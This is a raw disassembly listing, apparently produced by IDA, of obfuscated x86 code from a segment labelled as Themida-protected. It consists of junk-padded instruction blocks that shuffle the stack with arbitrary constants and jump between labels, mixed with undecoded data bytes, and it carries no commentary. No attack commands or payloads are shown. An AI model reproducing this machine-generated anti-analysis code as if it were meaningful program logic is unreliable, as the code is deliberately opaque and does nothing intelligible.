dd 0C270E95Fh, 0BA52FFFFh, 6C1A13A1h, 2068D2F7h, 8900007Bh
dd 0A5E92434h, 87FFFFCCh, 248B2404h, 48B6624h, 5E545624h
dd 0BFFCE953h, 0D301FFFFh, 2B9515Ah, 0E9000000h, 31F6h
; ---------------------------------------------------------------------------
loc_54E714: ; CODE XREF: Themida_:00551087j
push esp
pop edi
push eax
mov eax, 4
add edi, eax
pop eax
add edi, 4
xchg edi, [esp]
pop esp
shr ecx, 7
push dword ptr [edi+1Ch]
push ecx
mov ecx, 47811E1Dh
add dword ptr [esp+4], 7ED04036h
sub [esp+4], ecx
sub esp, 4
jmp loc_54A0FB
; ---------------------------------------------------------------------------
loc_54E749: ; CODE XREF: Themida_:0054A2D4j
xchg edx, [esp]
pop esp
and eax, ebx
pop ebx
jmp loc_54EEB3
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 1DE95E04h, 89FFFFE8h, 4C781E7h, 81000000h, 2C7h, 243C8700h
dd 28692C5Ch, 666904F0h, 8324148Bh, 0B65202C4h, 0FEDEF6D1h
dd 0A8EE80C6h, 1F17E9h, 4CF26800h, 815A6073h, 0E2E95EAh
dd 9BF28156h, 0E92DC16Eh, 0FFFFB1E7h, 2CE304ACh, 4E20478h
dd 0EF70E910h, 248BFFFFh, 4C48324h, 0E99CC83Bh, 0FFFF7A4Ah
; ---------------------------------------------------------------------------
loc_54E7C0: ; CODE XREF: Themida_:0054F521j
not dword ptr [esp]
pop ebp
add ebp, 1
add ebp, 0FE9B9EBh
add edi, ebp
jmp loc_54EE84
; ---------------------------------------------------------------------------
db 0F7h
dd 0C3ED81D5h, 1B53AE8h, 0C1835DE9h, 0F9E95104h, 68FFFFDAh
dd 36AE37CFh, 0FF9182E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E7F5: ; CODE XREF: Themida_:0054E598j
pop ebp
and ecx, ebp
pop ebp
push ebp
jmp loc_548F01
; ---------------------------------------------------------------------------
loc_54E7FF: ; CODE XREF: Themida_:00551DFCj
inc eax
or eax, 2BFB6457h
xor eax, 336C5695h
jmp loc_54A51A
; ---------------------------------------------------------------------------
loc_54E80F: ; CODE XREF: Themida_:0054AFB6j
pop esp
mov [esp], esi
push 478Dh
mov [esp], ecx
mov ecx, 3F9478A3h
jmp loc_54A587
; ---------------------------------------------------------------------------
db 57h, 0BFh, 85h
dd 56412C11h, 1BEh, 5EF70100h, 0D4C781h, 0FB31F2D4h, 0FCACE95Fh
dd 0C89FFFFh, 4EC8324h, 68241489h, 87A3006h, 8324148Bh
dd 256804C4h, 8900005Fh, 0F9BE2434h, 2153B54Ch, 24348BF2h
dd 4A04C483h, 65CAEA81h, 0DEE9F444h, 51FFFFA0h, 4B9h, 0E9CF0100h
dd 0CE5h
; ---------------------------------------------------------------------------
loc_54E884: ; CODE XREF: Themida_:0054C0BAj
mov ecx, 0
sub ecx, 28D63A47h
add ecx, edx
add ecx, 28D63A47h
add dword ptr [ecx], 1
pop ecx
pop edx
jmp loc_54A175
; ---------------------------------------------------------------------------
dd 5E51E981h, 5749616Dh, 2C741CBFh, 5FF90972h, 0E981E1D1h
dd 73B3B73Dh, 0E959CB29h, 2D5Fh, 0E9242C33h, 147Dh, 4EC8159h
dd 0E9000000h, 0FFFFF250h, 4EC81h, 34890000h, 2BE24h, 0BA520000h
dd 18452223h, 0E95AD001h, 0FFFF793Ah, 8104E2C1h, 0FF629BC2h
dd 81DAF71Bh, 0A44E63EAh, 5AD38920h, 815BD889h, 953975EBh
dd 2BEB8102h, 1055109h, 2BC381C3h, 81055109h, 953975C3h
dd 80685802h, 89000024h, 74FF241Ch, 1C8B0424h, 4C48324h
dd 5C24048Fh, 24040966h, 78C4E99Ch, 0C121FFFFh, 0E92434FFh
dd 1A76h
; ---------------------------------------------------------------------------
loc_54E950: ; CODE XREF: Themida_:00551117j
add esp, 4
add bl, al
add bl, 5
push small 4D94h
jmp loc_551B64
; ---------------------------------------------------------------------------
aUs db 'UéÓ(',0
align 2
loc_54E96A: ; CODE XREF: Themida_:00549CBFj
and edx, 3923480Dh
and edx, 366873EFh
add edx, 27AEE91h
jmp loc_54DEC4
; ---------------------------------------------------------------------------
loc_54E981: ; CODE XREF: Themida_:00551A6Ej
or eax, eax
jmp loc_54EA35
; ---------------------------------------------------------------------------
loc_54E988: ; CODE XREF: Themida_:00552608j
push dword ptr [esp]
pop esi
jmp loc_54D0FB
; ---------------------------------------------------------------------------
db 54h, 5Bh, 0E9h
dd 0FFFF78E1h, 37D7C981h, 0D9F7599Fh, 0EE9BF57h, 0D2E948CBh
dd 0FFFFFFDAh, 7858E932h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E9B2: ; CODE XREF: Themida_:0054869Cj
or esi, 4B8960B4h
xor esi, 4F99F5BBh
sub ebx, esi
pop esi
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], edi
mov edi, 10h
and ebx, edi
mov edi, [esp]
push edi
jmp loc_54C0AA
; ---------------------------------------------------------------------------
loc_54E9DE: ; CODE XREF: Themida_:00549A14j
sub edi, 0D4020753h
mov edx, edi
pop edi
mov eax, 0F239E6F2h
add eax, edx
jmp loc_54BBD4
; ---------------------------------------------------------------------------
db 53h
dd 1615E9h
db 0
; ---------------------------------------------------------------------------
loc_54E9F9: ; CODE XREF: Themida_:0054F733j
xchg ebp, [esp]
mov esp, [esp]
push ebx
push esi
jmp loc_54ED08
; ---------------------------------------------------------------------------
dw 0B850h
dd 66E11DB0h, 3A55E9h, 77F4E900h, 77FFFFFFh, 59669D1Ch
dd 9C241CD3h, 0FF77E5E9h, 0D831ADFFh, 702B68h, 241C8900h
dd 0FFCCB8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EA35: ; CODE XREF: Themida_:0054E983j
jz loc_5493AB
push dword ptr [edi+28h]
jmp loc_54F2E8
; ---------------------------------------------------------------------------
db 81h
dd 0D9E90BEFh, 5FFE01E1h, 0E95EF221h, 0FFFFE683h
; ---------------------------------------------------------------------------
loc_54EA54: ; CODE XREF: Themida_:00549DFBj
pop esi
jmp loc_54FEB6
; ---------------------------------------------------------------------------
dw 0DA28h
dd 0E9B4C280h, 0FFFFF84Bh
; ---------------------------------------------------------------------------
loc_54EA64: ; CODE XREF: Themida_:0054C2BFj
mov [esp], edx
mov edx, 0A125580h
sub [esp+4], edx
pop edx
add dword ptr [esp], 76D35F8Dh
push eax
push ebx
push 159951D0h
pop ebx
push ebp
mov ebp, 3F70BD5h
jmp loc_54DFA9
; ---------------------------------------------------------------------------
db 81h
dd 4C6h, 4EC8300h, 0BF243C89h, 2, 2D5BE9h
db 0
; ---------------------------------------------------------------------------
loc_54EAA1: ; CODE XREF: Themida_:0054E096j
push 2838h
jmp loc_5475A8
; ---------------------------------------------------------------------------
loc_54EAAB: ; CODE XREF: Themida_:0054D0D2j
or edx, eax
shl edx, 1
push edx
push 3CF4h
mov [esp], eax
jmp loc_54BD24
; ---------------------------------------------------------------------------
db 59h, 0C1h, 0E0h
dd 9202E902h, 6866FFFFh, 89662ECAh, 37E9240Ch
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EAD3: ; CODE XREF: Themida_:00549BF5j
shr bl, 1
jmp loc_549B27
; ---------------------------------------------------------------------------
dw 15Fh
dd 95F7E9FBh, 8B66FFFFh, 8957240Ch, 4C781E7h, 56000000h
dd 1832E9h, 57D83100h, 0F17A4DBFh, 2E7C13Ch, 0DE87F787h
dd 0DE87D3F7h, 0C781F787h, 647D5B99h, 0CEADE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EB16: ; CODE XREF: Themida_:0054ECE2j
pop edi
add edi, 4
sub edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_54A52D
; ---------------------------------------------------------------------------
db 81h
dd 0AE5D68C1h, 0E42CE907h, 0FCBFFFFFh, 0F7703C4Eh, 0B9CF81D7h
dd 81071E11h, 0B4AB17EFh, 5FFB214Fh, 1A67F381h, 0FDE9578Eh
dd 81FFFF8Dh, 6F64C4E3h, 867CE956h, 1C89FFFFh, 3B77BB24h
dd 0C3810EAAh, 0F155C48Bh, 875BD901h, 575C240Ch, 0C781E789h
dd 4, 4B951h, 9E90000h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EB8B: ; CODE XREF: Themida_:0054D281j
mov [esp], ecx
push edx
mov dl, 0C3h
mov ch, 52h
xor ch, dl
mov edx, [esp]
add esp, 4
jmp loc_5505D4
; ---------------------------------------------------------------------------
loc_54EBA0: ; CODE XREF: Themida_:00552379j
pop edx
or edx, 623B31D9h
push ecx
mov ecx, 100A2589h
shl ecx, 6
xor ecx, 7C9C7536h
xor edx, ecx
mov ecx, [esp]
add esp, 4
dec edx
sub edx, 1DC743FCh
or edx, 26954EE4h
add edx, 79761BABh
add ebx, edx
pop edx
mov dx, [esp]
push edi
push esp
push dword ptr [esp]
pop edi
push eax
mov eax, esp
push ebp
mov ebp, 6A6B407Ah
and ebp, 136744C3h
shl ebp, 6
neg ebp
and ebp, 3EB0749Dh
xor ebp, 760F1DC2h
sub ebp, 502F793Eh
jmp loc_54AD16
; ---------------------------------------------------------------------------
dd 0C12DF029h, 0FF62B174h, 835E2434h, 346804C4h, 89000037h
dd 0DBE9241Ch, 0F7FFFFC2h, 0D9F749D9h, 4904E1C1h, 0FB39F181h
dd 46E963F6h
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EC3B: ; CODE XREF: Themida_:005516DDj
pop esp
jmp loc_54D05E
; ---------------------------------------------------------------------------
db 53h, 0BBh, 0C0h
dd 814D8047h, 4702CBF3h, 5BD829F7h, 0E958C329h, 0FFFFF788h
; ---------------------------------------------------------------------------
loc_54EC58: ; CODE XREF: Themida_:0054A293j
add edx, 4
jmp loc_54E56E
; ---------------------------------------------------------------------------
db 81h
dd 0BB48EEF3h, 81DBF716h, 709A08F3h, 5BDA89EFh, 0C2E9D001h
dd 8B00001Ah, 0C481240Ch, 4, 15F2F181h, 0D10174CCh, 0E541E95Ah
dd 0DF2CFFFFh, 2434FF5Bh
db 5Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54A3F0
; ---------------------------------------------------------------------------
db 66h, 68h, 0A3h
dd 66546642h, 6624048Fh, 0BC12E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ECB2: ; CODE XREF: Themida_:0054AE54j
pop edx
push ebx
mov ebx, 0
sub ebx, ebp
jmp loc_552584
; ---------------------------------------------------------------------------
loc_54ECC0: ; CODE XREF: Themida_:0054C969j
add esi, 1
inc esi
shr esi, 5
push eax
mov eax, 389DAD3h
sub esi, eax
pop eax
mov eax, esi
mov esi, [esp]
add esp, 4
shl eax, cl
push edi
push esp
jmp loc_54EB16
; ---------------------------------------------------------------------------
db 89h
dd 6BE9240Ch
db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ECEF: ; CODE XREF: Themida_:0054F89Cj
mov edi, [esp]
add esp, 4
push esi
push edi
push 250406Ch
pop edi
shr edi, 1
push ebx
jmp loc_551D79
; ---------------------------------------------------------------------------
loc_54ED08: ; CODE XREF: Themida_:0054EA01j
mov esi, 4BF502B2h
dec esi
jmp loc_54E6BF
; ---------------------------------------------------------------------------
db 40h
dd 4E8C148h, 0B55C3C35h, 15CFE968h, 0E1800000h, 56F18006h
dd 59B55152h, 8059EE88h, 0F128AFF6h, 0FFF3BEE9h, 0C895CFFh
dd 7CF8B924h, 0EC8311D9h, 241C8904h, 268308BBh, 8BE981EEh
dd 1130065h, 93BD55D9h, 871EF47Fh, 75EAE9F5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ED62: ; CODE XREF: Themida_:005523EAj
add ebx, eax
sub ebx, 6FD85A5Ah
pop eax
jmp loc_54BF20
; ---------------------------------------------------------------------------
dd 2C1835Fh, 5C240C87h, 4B30F66h, 87E99C24h, 8BFFFF74h
dd 62E92414h
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54ED8B: ; CODE XREF: Themida_:0055285Aj
mov edx, [esp]
jmp loc_5505C4
; ---------------------------------------------------------------------------
db 31h
dd 242C8BE8h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
dd 5D54242Ch, 4C581h, 0F0680000h, 89000017h, 4B82404h
dd 81000000h, 70F54C5h, 0DAED8126h, 1606D7Eh, 364BE9C5h
dd 0BF570000h, 3ABE7630h, 0FF9CE8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EDE1: ; CODE XREF: Themida_:0055061Cj
inc al
dec al
not al
or al, 0F6h
jmp loc_547085
; ---------------------------------------------------------------------------
dw 0F7BEh
dd 5600CC02h, 5E2414F7h, 26EBBF57h, 40E93447h
db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EE03: ; CODE XREF: Themida_:0054771Dj
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_550035
; ---------------------------------------------------------------------------
db 0B6h
dd 0BBB753EEh, 0F780D7F6h, 0E9FE0093h, 1BBEh, 83242489h
dd 8B042404h, 8956240Ch, 4C681E6h, 57000000h, 4BFh, 82EE8100h
dd 810F8671h, 5A2752C6h, 81FE015Ch, 5A2752EEh, 82C6815Ch
dd 5F0F8671h, 5C243487h, 4C181h, 0C1810000h, 2, 31240C33h
dd 0C33240Ch, 24248B24h, 2424D366h, 7390E99Ch, 0CF35FFFFh
dd 0E9AFCE6Bh, 0FFFFC093h
; ---------------------------------------------------------------------------
loc_54EE84: ; CODE XREF: Themida_:0054E7D2j
mov ebp, [esp]
add esp, 4
sub edi, 0D723854h
mov ebx, [esp]
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0E9h, 4Dh, 35h
dd 8B660000h, 0EE68240Ch, 8900003Eh, 1CE92414h
db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EEB3: ; CODE XREF: Themida_:0054E750j
shr eax, 10h
xor eax, ecx
xchg eax, esi
push ebx
jmp loc_54C624
; ---------------------------------------------------------------------------
db 0BBh
dd 27532F39h, 565BDF29h, 0C681E689h, 4, 4EE81h, 34330000h
dd 24343124h, 0E9243433h, 0FFFFCD26h, 8E2CB968h, 0E5815D7Ah
dd 6D7118AFh, 47DCC581h, 0CD814034h, 74A73023h, 0D660C581h
dd 0E83122EEh, 83242C8Bh, 0E8C104C4h, 4E8C107h, 42E0D02Dh
dd 348150B2h, 0BC30F424h, 0F181593Dh, 3DBC30F4h, 0FFD8ECE9h
dd 4BB53FFh, 1000000h, 0E2E95BDEh, 68FFFFDCh, 32581D8Fh
dd 4EC815Ah, 89000000h, 81B9240Ch, 81077E76h, 8C6202C9h
dd 4CF18152h, 816C2135h, 0FB5BCFE1h, 0CDE95041h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EF63: ; CODE XREF: Themida_:0054E2F7j
shl eax, 8
sub eax, 346E462h
sub ebx, eax
pop eax
not ebx
jmp loc_54681B
; ---------------------------------------------------------------------------
db 1, 0D8h, 8Bh
dd 8951241Ch, 4C181E1h, 81000000h, 4C1h, 0CBD0E900h, 348BFFFFh
dd 4C48324h, 8158C701h, 4EFh, 30E900h, 0A9BD0000h, 0E9541C64h
dd 0FFFFAA28h, 88AAEC80h, 0B35358E5h, 0DFB24Ch, 0C620E9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EFBE: ; CODE XREF: Themida_:0054A5B8j
sub eax, 306F1CBDh
push 3CA2h
jmp loc_547FE2
; ---------------------------------------------------------------------------
db 0E9h, 38h, 72h
dd 3C87FFFFh, 24248B24h, 50242C89h, 902DE8B8h, 0E750E960h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EFE6: ; CODE XREF: Themida_:0054F506j
sub ebp, 0D9D5CBA3h
jmp loc_5480C8
; ---------------------------------------------------------------------------
loc_54EFF1: ; CODE XREF: Themida_:00549198j
pop dword ptr [esp]
pop esp
bts [esp], ax
pushf
jmp loc_54BB22
; ---------------------------------------------------------------------------
dd 0FAEFE9ADh, 48FFFFFh, 0FBE95C24h, 54FFFF71h, 8324048Fh
dd 0ABE904ECh
db 1Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F01B: ; CODE XREF: Themida_:0054D910j
push eax
jmp loc_54F624
; ---------------------------------------------------------------------------
db 56h, 0BEh, 4
dd 1000000h, 4875EF0h, 0BAFFE924h, 0EB81FFFFh, 27636F56h
dd 0DDEB814Bh, 4306052Dh, 6278C381h, 0B0E9EC91h, 81FFFFA3h
dd 0A54B88EFh, 5F595758h, 0C8BCB01h, 0E3895324h, 4C381h
dd 0C3830000h, 241C8704h, 22F7E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F06E: ; CODE XREF: Themida_:0054A528j
mov ecx, [esp]
push ecx
jmp loc_547C39
; ---------------------------------------------------------------------------
dd offset dword_4B5248+1520h
align 4
dd 89241C89h, 7A7FE9E3h, 0E952FFFFh, 0FFFFB85Fh, 0F9C8E958h
dd 972CFFFFh, 0EC817A04h, 4, 0B5240C89h, 0FFE82847h, 0AAE92434h
dd 66FFFF9Ch, 0E935CDBFh, 0FFFFB69Fh, 2C8BEB29h, 4C48324h
dd 42E9C231h, 68000028h, 72F1h, 81241C89h, 4ECh, 24248900h
dd 4240483h, 33AE9h, 0C6815D00h, 4, 5C243487h, 19E95052h
dd 68FFFF7Eh, 1AD4h, 0E9240489h, 0FFFFD9DCh, 0C06AC181h
dd 4A2112B9h, 0E2E95930h
db 8Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F10B: ; CODE XREF: Themida_:00547E4Fj
pop ebp
jmp loc_546F71
; ---------------------------------------------------------------------------
db 1, 0FAh, 0E9h
dd 0FFFFF230h, 4C181h, 0E9500000h, 0FFFFCA0Ch, 0B850E789h
dd 4, 5658C701h, 4BEh, 5EF70100h, 0E9243C33h, 0FFFF8D1Ch
dd 30B8h, 81D00100h, 84F90C30h, 0EEABE90Bh, 34FFFFFFh
dd 89515924h, 4C181E1h, 81000000h, 4E9h, 9207E900h, 0BA52FFFFh
dd 220E481Ch, 895AD329h, 0EA015BDDh, 2414335Dh, 2561E9h
dd 14335800h, 24143124h, 8B241433h, 1EE92424h
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F193: ; CODE XREF: Themida_:0054D6D6j
xor eax, ebp
push ebp
jmp loc_5484C8
; ---------------------------------------------------------------------------
db 59h
dd 6A8CC581h, 0C5015304h, 0FF8303E9h, 0C8B66FFh, 0C893E924h
dd 0C281FFFFh, 2E22014Dh, 0FFB38AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F1BD: ; CODE XREF: Themida_:00549354j
mov [edi+38h], bh
mov ebx, [esp]
sub esp, 4
jmp loc_551291
; ---------------------------------------------------------------------------
dw 8359h
dd 148904ECh, 3046B224h, 2434FFD0h, 0AA4E95Ah, 8B660000h
dd 0D068240Ch, 89000014h, 72E92434h
db 84h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F1F3: ; CODE XREF: Themida_:00549BD2j
pop esp
shl edx, 1
dec edx
jmp loc_55163A
; ---------------------------------------------------------------------------
loc_54F1FC: ; CODE XREF: Themida_:0054F37Bj
pop dword ptr [esp]
pop esp
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_551A68
; ---------------------------------------------------------------------------
dd 5C24048Fh, 0F66E1F6h, 24E9CCB6h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F21F: ; CODE XREF: Themida_:00548CC5j
pop eax
push 5DB7h
mov [esp], edx
mov dh, cl
mov bh, dh
mov edx, [esp]
jmp loc_54C681
; ---------------------------------------------------------------------------
dd 0F0E9D101h, 89FFFFF8h, 16DCE9F0h, 8B660000h, 0EC81240Ch
dd 4, 89243C89h, 4EC83E7h, 329E9h, 8BFD8900h, 0C483243Ch
dd 0F5814D04h, 4B240065h, 0E5C1DDF7h, 0E1E94D04h, 1000013h
dd 0FF088BF8h, 81582434h, 4C4h, 0B93EE900h, 8B66FFFFh
dd 57E9240Ch, 6800002Eh, 1C9Ah, 56240C89h, 0B34BD568h
dd 87E95E2Fh
db 2Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F2A3: ; CODE XREF: Themida_:0054F3E4j
add esp, 4
push edx
push esi
jmp loc_54DFB8
; ---------------------------------------------------------------------------
aXs3 db 'XéÆ3',0
dw 8100h
dd 2ECh, 0C896600h, 4C6B124h, 2CC800D0h, 0C8B66D0h, 44C26824h
dd 14890000h, 0AA64E924h, 4858FFFFh, 508E0C1h, 0A593C553h
dd 0E958C589h, 0FFFFFAABh
; ---------------------------------------------------------------------------
loc_54F2E8: ; CODE XREF: Themida_:0054EA3Ej
push edi
push esi
mov esi, 2A196814h
push edi
mov edi, 0
sub edi, esi
mov esi, edi
pop edi
jmp loc_550A12
; ---------------------------------------------------------------------------
loc_54F2FF: ; CODE XREF: Themida_:00548CD8j
pop dword ptr [esp]
jmp loc_55067E
; ---------------------------------------------------------------------------
db 89h
dd 0E2815DEAh, 3AAC559Fh, 0A957C281h, 0A6E9CF78h
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F31B: ; CODE XREF: Themida_:00547F59j
mov [esp], ebx
push eax
jmp loc_54933E
; ---------------------------------------------------------------------------
dd 0FF2434FFh, 50582434h, 4055854h, 56000000h, 7BC9BA52h
dd 0F2815219h, 52197BCDh, 148BD689h, 4C48324h, 0B94DFE05h
dd 5274055Ah, 0F0010265h, 0FFCBA0E9h, 243C89FFh, 0FF72DCE9h
dd 15F2B9FFh, 38E936EDh, 89FFFFB2h, 0E9E92424h
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F373: ; CODE XREF: Themida_:0054699Bj
mov [esp], eax
push dword ptr [esp+4]
pop eax
jmp loc_54F1FC
; ---------------------------------------------------------------------------
dd 0AD0F7AB9h, 3E9C163h, 0FFFFBA52h, 0D129FFFFh, 2EBF575Ah
dd 515EB365h, 674AEFB9h, 0F7E98730h, 81E987DDh, 12A679C1h
dd 8BCF09ACh, 0C481240Ch, 4, 6459EF81h, 0E7C12A92h, 174E908h
dd 0E9570000h, 0FFFFA3EAh, 9D1C77FFh, 19665866h, 0E99C2404h
dd 0FFFF6E32h
; ---------------------------------------------------------------------------
loc_54F3D8: ; CODE XREF: Themida_:0054E362j
pop ebx
mov ebx, ecx
pop ecx
xor [esp+4], ebx
pop ebx
mov eax, [esp]
jmp loc_54F2A3
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 4A136824h, 4890000h, 2F1DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F3FA: ; CODE XREF: Themida_:0054642Bj
add edi, 62ACAD6Eh
or eax, edi
pop edi
xor eax, 70E3FB0h
mov edx, eax
jmp loc_54796F
; ---------------------------------------------------------------------------
db 0C1h
dd 5DE905E6h, 5BFFFF94h, 0CB8BA52h, 0EAC143E0h, 0D2F74202h
dd 0FFAC7DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F429: ; CODE XREF: Themida_:00546920j
mov esi, [esp]
push ebx
jmp loc_54AB9F
; ---------------------------------------------------------------------------
dw 0BB53h
dd 73425DACh, 1C3814Bh, 81A3E1B8h, 0B70D11C6h, 81DE292Ah
dd 0B70D11EEh, 0D6F75B2Ah, 4111EE81h, 0B951265Ch, 23F597F5h
dd 0E959CE31h, 21CCh, 4C481h, 9BE90000h
db 6Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F46F: ; CODE XREF: Themida_:0054E319j
shr ebx, 4
push edi
mov edi, 207D6F6Ch
jmp loc_546372
; ---------------------------------------------------------------------------
loc_54F47D: ; CODE XREF: Themida_:00546229j
pop ecx
sub ebx, 43041EE1h
sub ebx, ebp
add ebx, 43041EE1h
pop ebp
not ebx
push edi
mov edi, 4C5E0CE3h
add ebx, 142430FFh
add ebx, edi
jmp loc_550980
; ---------------------------------------------------------------------------
dw 0E953h
dd 0FFFFFA17h, 4E5AD689h, 5CFDCE81h, 0EE92A86h, 52FFFF8Eh
dd 4BF57h, 0FA890000h, 0FF95DBE9h, 0C32C5AFFh, 0C304E800h
dd 34FF292Ch, 240C8B24h, 10FD68h, 242C8900h, 0C581E589h
dd 4, 0E904C583h, 3255h, 0C581E589h, 4, 0E904ED83h, 0FFFFA24Ch
; ---------------------------------------------------------------------------
loc_54F4FC: ; CODE XREF: Themida_:005511F3j
push ebp
mov ebp, 3EF74BDBh
shl ebp, 8
dec ebp
jmp loc_54EFE6
; ---------------------------------------------------------------------------
loc_54F50B: ; CODE XREF: Themida_:0054C3EAj
sub edi, 7E927F45h
push ebp
mov ebp, 600E5ACFh
dec ebp
not ebp
sub ebp, 1
push ebp
jmp loc_54E7C0
; ---------------------------------------------------------------------------
loc_54F526: ; CODE XREF: Themida_:0055254Fj
mov [esp], esi
mov esi, 0FFFFFFFFh
add eax, esi
pop esi
jmp loc_55217C
; ---------------------------------------------------------------------------
dw 0F781h
dd 7F62711Ch, 4EC81h, 0B9E90000h, 31FFFF7Bh, 35E958C5h
dd 5DFFFFD8h, 0E95DE829h, 0FFFF6FA1h, 89241C89h, 7C89E9E3h
dd 0E789FFFFh, 0FFB471E9h, 0CC6859FFh, 8900005Fh, 4B82404h
dd 1000000h, 3C8758C7h, 1A83E924h, 1C890000h, 609DBB24h
dd 96E93316h, 0BA000029h, 20713532h, 0FFE4DDE9h, 88E788FFh
dd 48B5BFDh, 4C48324h, 0C8BEB88h, 0E7895724h, 4C781h, 0C7810000h
dd 4, 5C243C87h, 8B66D820h, 8952241Ch, 50E956E2h
db 8Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F5CB: ; CODE XREF: Themida_:00550D27j
push 1AAC5AEFh
mov eax, [esp]
add esp, 4
push edi
mov edi, 3F3D31D0h
and edi, 2B7F72A4h
push eax
mov eax, 0
sub eax, edi
jmp loc_552657
; ---------------------------------------------------------------------------
dw 0EF01h
dd 2C7835Dh, 0E9243C87h, 0FFFF7D69h, 8904EC83h, 0EC81241Ch
dd 4, 0B8240489h, 52DC505Ah, 9BD775BBh, 58C301E8h, 0E95BD929h
dd 938h
; ---------------------------------------------------------------------------
loc_54F624: ; CODE XREF: Themida_:0054F01Cj
push 25BCh
mov [esp], ebp
push 79903C31h
mov ebp, [esp]
add esp, 4
and ebp, 2E560612h
push edi
mov edi, 449948C4h
jmp loc_54CD4D
; ---------------------------------------------------------------------------
dd 9FF7814Fh, 12BA527h, 0CA895FF9h, 0E9D02959h, 0FFFFE2CDh
dd 0DAB21AB1h, 5059CA30h, 0D0F6ACB0h, 0EA805F34h, 80C228B1h
dd 2858B1C2h, 2434FFD0h, 0FF92AFE9h, 0DABA52FFh, 0BB79D272h
dd 9D0C8DECh, 7DA1EB81h, 0D30100DFh, 0FFDE4FE9h, 0C4835FFFh
dd 4BB5304h, 1000000h, 24F4E9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F6A6: ; CODE XREF: Themida_:005505D9j
pop ecx
jmp loc_54A48E
; ---------------------------------------------------------------------------
dd 7F5E14BEh, 0B5C9E940h, 8B66FFFFh, 0D4682404h, 89000001h
dd 0E789243Ch, 0D8685055h, 58399118h, 8E0C140h, 0A034E953h
dd 0E089FFFFh, 405h, 40500h, 4870000h, 0E9525C24h, 0FFFFCEE3h
dd 6CE94E04h, 21FFFF8Dh, 0E94D58C5h, 0FFFFB75Dh, 0FF6B09E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F701: ; CODE XREF: Themida_:00548242j
mov bl, 0FAh
not bl
jmp loc_549BF2
; ---------------------------------------------------------------------------
dw 0FBE9h
dd 53FFFF6Ah, 0C381E389h, 4, 0FF7463E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F71D: ; CODE XREF: Themida_:0054656Dj
mov edx, [esp]
add esp, 4
pop ebp
add ebp, 4
add ebp, 4
jmp loc_54E9F9
; ---------------------------------------------------------------------------
loc_54F738: ; CODE XREF: Themida_:0054DE2Fj
xor esi, 884359Bh
or esi, 146B798Ch
push edi
mov edi, 149D66D5h
xor edi, 0F79964D2h
add esi, edi
pop edi
jmp loc_54921A
; ---------------------------------------------------------------------------
loc_54F758: ; CODE XREF: Themida_:0054C074j
jz loc_54CBA3
push 69FFh
mov [esp], esi
push ecx
mov ecx, 5CB160D4h
not ecx
add ecx, 6EB5305Dh
dec ecx
shr ecx, 6
jmp loc_54E38B
; ---------------------------------------------------------------------------
db 5Bh, 56h, 0BEh
dd 4, 875EF701h, 248B243Ch, 24048B24h, 24C9E955h, 5F580000h
dd 8904EC83h, 0E9552434h, 2929h, 0F6E9D729h, 89FFFFCFh
dd 4C381E3h, 50000000h, 2B8h, 58C30100h, 0FF9D68E9h, 5AD131FFh
dd 0FF98EBE9h, 0AEEF81FFh, 890B2A11h, 0C6815FF8h, 27224832h
dd 333EE81h, 0C6016EA3h, 0FF9068E9h, 3ACFBBFFh, 0EB817F10h
dd 5C8A045Dh, 0F75BD931h, 0E98141D1h, 0CE4381B7h, 0E9C1D9F7h
dd 0F1814108h, 4C6D2572h, 8759CA31h, 1C26E9DAh, 2E680000h
dd 5B6FA250h, 0BBD3E951h, 0E9C1FFFFh, 41C98106h, 0E95D7419h
dd 0FFFFB74Dh
; ---------------------------------------------------------------------------
loc_54F82C: ; CODE XREF: Themida_:0054FAFFj
pop edx
or eax, eax
jz loc_54D24F
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], ebp
mov ebp, 7520349Ch
add dword ptr [esp+4], 216F75E0h
